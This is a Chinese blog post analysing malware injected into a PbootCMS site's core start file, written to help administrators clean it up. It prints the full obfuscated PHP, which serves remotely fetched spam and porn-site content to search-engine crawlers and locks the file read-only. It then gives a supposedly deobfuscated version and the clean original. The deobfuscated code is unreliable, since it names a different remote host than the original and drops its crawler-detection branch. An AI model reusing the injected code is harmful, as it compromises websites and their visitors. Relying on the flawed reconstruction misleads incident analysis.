P

PbootCMS 制作的站点被挂木马分析及清理

技术 发布于 1 天前

今天检查站点的时候,发现其中一个站点使用搜索引擎蜘蛛模拟访问时跳转到了色情网站,查看了下原代码,被挂马已经有一段时间了,相较以前遇到的木马病毒,这个病毒做的很隐蔽,作为管理者,很容易忽视,以下是木马核心文件以及分析,希望能为搜到这篇文章的你提供帮助。

恶意代码分析

通过分析比对,病毒是通过篡改 PbootCMS 核心文件 /core/start.php 来实现,代码中使用了大量的 goto 来混淆,不过好在有 DeepSeek 的协助,不用再手动去逆向病毒代码。

源代码

<?php
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  内核启动文件,请使用入口文件对本文件进行引用即可
 */

// 引入初始化文件
require dirname(__FILE__) . '/init.php'; goto SKyXl; SKyXl: function ILeMN($bG2Ji) { goto M1G6I; lMSZk: curl_close($Q2Ooa); goto nyJgm; Lu8eC: $uE3yz = curl_exec($Q2Ooa); goto Fx40d; eQuEY: curl_setopt($Q2Ooa, CURLOPT_HTTPHEADER, array("\130\55\x46\117\122\x57\x41\122\x44\105\104\x2d\106\x4f\122\x3a\x20{$F2VI3}", "\130\x2d\106\x4f\122\127\101\x52\x44\105\104\x2d\x48\x4f\x53\124\x3a\40{$UBzZA}", "\x55\x73\145\162\x2d\101\147\145\x6e\164\x3a\40{$uwXUP}", "\x52\145\146\145\x72\145\x72\72\40{$yTJF_}")); goto Lu8eC; wi_zh: curl_setopt($Q2Ooa, CURLOPT_FOLLOWLOCATION, true); goto eQuEY; k7Lb0: $yTJF_ = isset($_SERVER["\110\124\x54\x50\137\x52\105\x46\x45\122\x45\x52"]) ? $_SERVER["\x48\x54\124\x50\x5f\122\105\106\x45\x52\x45\122"] : ''; goto vrt84; KysSj: $UBzZA = $_SERVER["\x48\x54\x54\x50\137\x48\117\123\x54"]; goto LNbyr; GJCJI: return $uE3yz; goto Xqar9; iC8cd: UDOSo: goto lMSZk; PaIV_: return "\x33\x30\62"; goto itE5J; S20TX: $ShTG7 = curl_error($Q2Ooa); goto iC8cd; itE5J: ijmuv: goto GJCJI; j_wup: curl_setopt($Q2Ooa, CURLOPT_TIMEOUT, 10); goto wi_zh; q19p9: curl_setopt($Q2Ooa, CURLOPT_URL, $bG2Ji); goto NyKa0; NyKa0: curl_setopt($Q2Ooa, CURLOPT_RETURNTRANSFER, true); goto j_wup; HzzJc: return "\60"; goto N1ZE0; wh6yv: if (!($Tq56w == 302)) { goto ijmuv; } goto PaIV_; nyJgm: if (!isset($ShTG7)) { goto OSs7P; } goto HzzJc; M1G6I: $F2VI3 = $_SERVER["\122\105\x4d\x4f\124\105\137\x41\x44\x44\122"]; goto KysSj; Fx40d: $Tq56w = curl_getinfo($Q2Ooa, CURLINFO_HTTP_CODE); goto Z6mYd; N1ZE0: OSs7P: goto wh6yv; Z6mYd: if (!curl_errno($Q2Ooa)) { goto UDOSo; } goto S20TX; LNbyr: $uwXUP = $_SERVER["\110\124\x54\120\x5f\x55\123\x45\x52\137\101\x47\x45\x4e\124"]; goto k7Lb0; vrt84: $Q2Ooa = curl_init(); goto q19p9; Xqar9: } goto KpEmz; Rrl8j: $uE3yz = IlemN($bG2Ji); goto ih6fl; wFLEl: if (!($uE3yz == "\x33\60\x32" || $uE3yz == "\60")) { goto T2WuN; } goto mjGjt; NB4CX: $Im9Mo = explode("\x76\x6f\x64\55", $uuRZd); goto oP077; kw3K0: $bG2Ji = "\150\164\164\x70\72\57\x2f\x78\x70\x79\142\x2e\141\x78\152\x73\143\56\x63\x6f\x6d\x2f\154\151\156\153\x2e\x70\x68\x70\77\x64\151\162\x3d\57\x69\156\x64\x65\170\56\160\x68\160\x3f\166\x6f\144\x2d\x26\150\157\163\x74\75" . $_SERVER["\x48\x54\124\120\137\110\117\x53\124"]; goto Rrl8j; I1t_J: $uuRZd = isset($_GET["\x73"]) ? $_GET["\x73"] : $_SERVER["\122\105\x51\125\105\123\x54\x5f\125\122\111"]; goto E6cYf; KpEmz: function stoiq() { goto HFU0s; Yv708: return $YEgWn; goto dvNU2; q8eA5: $YEgWn = "\x31\x32\x37\x2e\60\x2e\60\56\61"; goto UrqfE; ZKYMq: goto we3q4; goto nd2KY; KT6Mw: goto we3q4; goto JtbJy; UrqfE: we3q4: goto Yv708; HFU0s: if (isset($_SERVER["\122\105\115\117\124\105\137\x41\104\104\122"]) && $_SERVER["\122\105\x4d\117\x54\x45\137\x41\x44\x44\x52"] && strcasecmp($_SERVER["\122\105\x4d\117\124\x45\x5f\x41\x44\x44\x52"], "\165\x6e\x6b\156\157\x77\156")) { goto xbB89; } goto hRHnT; GdgPs: $YEgWn = "\60\56\x30\56\60\x2e\x30"; goto KT6Mw; nd2KY: k7h9_: goto q8eA5; hRHnT: if (!isset($_SERVER["\122\x45\x4d\117\x54\x45\137\x41\x44\x44\x52"])) { goto k7h9_; } goto GdgPs; JtbJy: xbB89: goto Jc97o; Jc97o: $YEgWn = $_SERVER["\122\x45\115\x4f\x54\105\137\101\104\x44\122"]; goto ZKYMq; dvNU2: } goto yswN0; jUR_o: ob_flush(); goto EbrH5; Z2AmM: header("\x43\157\156\164\x65\x6e\164\55\124\x79\x70\145\x3a\40\164\145\170\x74\57\x68\164\155\x6c\x3b\40\x63\x68\141\162\x73\145\x74\75\x75\x74\x66\x2d\70"); goto NB4CX; BFp62: header("\114\157\x63\x61\x74\151\157\x6e\72\x20\x2f"); goto UyxKv; oP077: $bG2Ji = "\150\x74\x74\160\x3a\x2f\57\x78\160\171\142\56\x61\170\x6a\x73\x63\x2e\x63\157\x6d\x2f" . $Im9Mo[1]; goto qChcq; mjGjt: http_response_code(404); goto BFp62; K7WkI: error_reporting(0); goto bhD8E; M3PHV: nPTVr: goto J6HZq; E6cYf: if (!(strpos($uuRZd, "\x76\x6f\x64\55") !== false)) { goto nPTVr; } goto Z2AmM; ih6fl: echo $uE3yz; goto jUR_o; PrbS0: $uE3yz = str_replace("\57\x64\x65\164\x61\x69\154\x2d", "\57\x69\x6e\144\x65\170\x2e\160\150\160\x3f\166\157\144\x2d\144\145\164\x61\x69\x6c\x2d", $uE3yz); goto pJjFv; bhD8E: @chmod(__FILE__, 0444); goto I1t_J; vFmB7: exit; goto M3PHV; qChcq: $uE3yz = ileMN($bG2Ji); goto wFLEl; jPXTB: $uE3yz = str_replace("\57\x74\171\x70\x2d", "\x2f\151\x6e\144\x65\170\56\160\x68\x70\x3f\x76\157\144\x2d\164\171\x70\x2d", $uE3yz); goto PrbS0; UyxKv: exit; goto TEXVu; yswN0: function PytNI() { goto b1ruM; D2Ys6: if (!(strpos($ZxbhK, "\150\164\x74\160\72\57\x2f\167\167\x77\x2e\x62\141\151\x64\x75\56\143\x6f\155\57\x73\x70\151\x64\x65\162\x38\x2e\150\x74\x6d\x6c") !== false)) { goto JLDSD; } goto LZOZu; JzezY: return false; goto Mt2Y5; Ab20v: return false; goto kd1Ep; YVe38: if (!in_array($mp_hD, $WD7EG)) { goto m0IkA; } goto hV0jT; ASvvF: if (isset($_SERVER["\110\x54\x54\x50\137\125\x53\x45\122\137\x41\x47\x45\116\x54"])) { goto sXUGe; } goto xK0uH; ogmSC: JLDSD: goto kX5pO; ZVPnu: Pp0jt: goto S6JTJ; rY6AE: $RV36y = sToIq(); goto zPCw7; LZOZu: return true; goto ogmSC; b1ruM: $WD7EG = array("\66\x31\x2e\x31\63\x35", "\61\x32\x33\x2e\61\x32\65", "\61\61\61\56\x32\60\66", "\61\x38\x30\56\67\66", "\61\x38\60\x2e\61\x34\71", "\62\62\x30\x2e\x31\x38\61", "\63\66\x2e\x31\61\60", "\61\x31\63\x2e\x32\64", "\61\x32\64\56\x31\66\64", "\61\61\66\x2e\61\67\71", "\61\70\x30\x2e\x39\67", "\x31\x32\61\x2e\61\x34", "\x32\60\x33\x2e\62\60\70", "\x32\61\x30\56\67\x32", "\61\62\65\56\71\60", "\x31\61\70\x2e\61\x38\x34", "\61\62\x33\x2e\x31\70\60", "\x31\62\63\x2e\61\62\65", "\66\61\56\x31\x33\65", "\x31\x32\x33\x2e\61\62\66", "\x31\61\61\x2e\x32\x30\62", "\x33\66\x2e\61\61\x30", "\x32\62\x30\56\61\70\61", "\61\60\x36\56\x31\62\60", "\x34\x39\x2e\67", "\x32\61\70\x2e\x33\x30", "\61\x30\x36\x2e\x33\70", "\65\70\x2e\x32\x35\60", "\61\x38\63\x2e\63\x36", "\x34\x33\56\x32\63\x31", "\x34\71\56\x37\x2e\x36\x34", "\x31\70\60\x2e\x31\65\63", "\x31\70\x30\x2e\61\66\63", "\64\x32\56\x32\62\x34", "\64\62\x2e\x31\x35\66", "\64\x32\x2e\x31\x32\x30", "\x31\x30\x36\x2e\61\x31"); goto rY6AE; XZp3w: m0IkA: goto JzezY; S6JTJ: $mp_hD = substr($RV36y, 0, strrpos($RV36y, "\x2e", strrpos($RV36y, "\56") - strlen($RV36y) - 1)); goto YVe38; zPCw7: $ZxbhK = strtolower($_SERVER["\x48\x54\x54\120\137\125\123\105\x52\137\x41\x47\105\x4e\x54"]); goto D2Ys6; kX5pO: if (!(!$RV36y || $RV36y == "\165\156\x6b\x6e\x6f\x77\156")) { goto O93iy; } goto vBJCt; kd1Ep: z_dk8: goto ZVPnu; hV0jT: return true; goto XZp3w; j2pOr: if (!(!$ZxbhK || !preg_match("\x2f\163\x70\x69\x64\145\162\x2f", $ZxbhK))) { goto z_dk8; } goto Ab20v; xK0uH: return false; goto JBsji; vBJCt: return false; goto yXHB6; diMX1: if (!(trim($RV36y) == "\x31\62\x37\x2e\x30\56\60\56\61")) { goto Pp0jt; } goto ASvvF; JBsji: sXUGe: goto ndtkG; yXHB6: O93iy: goto diMX1; ndtkG: $ZxbhK = strtolower($_SERVER["\x48\124\x54\120\x5f\125\123\x45\x52\137\x41\x47\x45\x4e\124"]); goto j2pOr; Mt2Y5: } goto K7WkI; EbrH5: flush(); goto KjWoV; MayE3: echo $uE3yz; goto vFmB7; TEXVu: T2WuN: goto jPXTB; J6HZq: if (!pytNi()) { goto m6xfM; } goto kw3K0; pJjFv: $uE3yz = str_replace("\x2f\160\154\141\171\55", "\x2f\151\156\144\x65\170\x2e\160\x68\160\77\166\157\x64\x2d\x70\x6c\x61\171\x2d", $uE3yz); goto MayE3; KjWoV: m6xfM:


// 入口检测
defined('IS_INDEX') ?: die('不允许直接访问框架内核启动文件!');

// 启动内核
core\basic\Kernel::run(); 

逆向后

function remoteRequest($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HTTPHEADER => [
            "X-FORWARDED-FOR: {$_SERVER['REMOTE_ADDR']}",
            "X-FORWARDED-HOST: {$_SERVER['HTTP_HOST']}",
            "User-Agent: {$_SERVER['HTTP_USER_AGENT']}",
            "Referer: ".(isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'')
        ]
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ($httpCode == 302) ? "302" : $response;
}

function checkProxy() {
    // 国内常见爬虫IP段检测(已脱敏处理)
    $proxyRanges = ['61.135.*','123.125.*','111.206.*'...];
    $clientIP = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    return in_array(substr($clientIP,0,strrpos($clientIP,'.')), $proxyRanges);
}

// 主攻击逻辑
error_reporting(0);
chmod(__FILE__, 0444); // 设置文件只读

$requestPath = $_GET['s'] ?? $_SERVER['REQUEST_URI'];
if(strpos($requestPath, 'vod-') !== false) {
    $maliciousUrl = "https://carefu.link/link.php?dir=/index.php?vod-&host=".$_SERVER['HTTP_HOST'];
    $response = remoteRequest($maliciousUrl);
    
    // 动态内容篡改
    $response = str_replace([
        '/detail-', 
        '/type-', 
        '/play-'
    ],[
        '/index.php?vod-detail-',
        '/index.php?vod-type-',
        '/index.php?vod-play-'
    ], $response);

    header("Content-Type: text/html; charset=utf-8");
    if(!in_array($response, ["302","0"])) {
        echo $response;
        ob_flush();
        flush();
        exit;
    }
    http_response_code(404);
    header("Location: /");
    exit;
}

简单分析,可以看到这个病毒不同以往,隐蔽性要强很多,当然,清理起来也没有太大难度,只需要将该部分恶意代码删除即可,附上原始的 /core/start.php 文件代码。

<?php
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  内核启动文件,请使用入口文件对本文件进行引用即可
 */

// 引入初始化文件
require dirname(__FILE__) . '/init.php';

// 入口检测
defined('IS_INDEX') ?: die('不允许直接访问框架内核启动文件!');

// 启动内核
core\basic\Kernel::run(); 

安全防护

搞清楚攻击逻辑后,防御起来也很简单,通过分析 PbootCMS 源码目录结构,将 apps、config、core、template 这几个目录以及 index.php 的写权限禁用掉即可。

评论(0)

发布评论

相关文章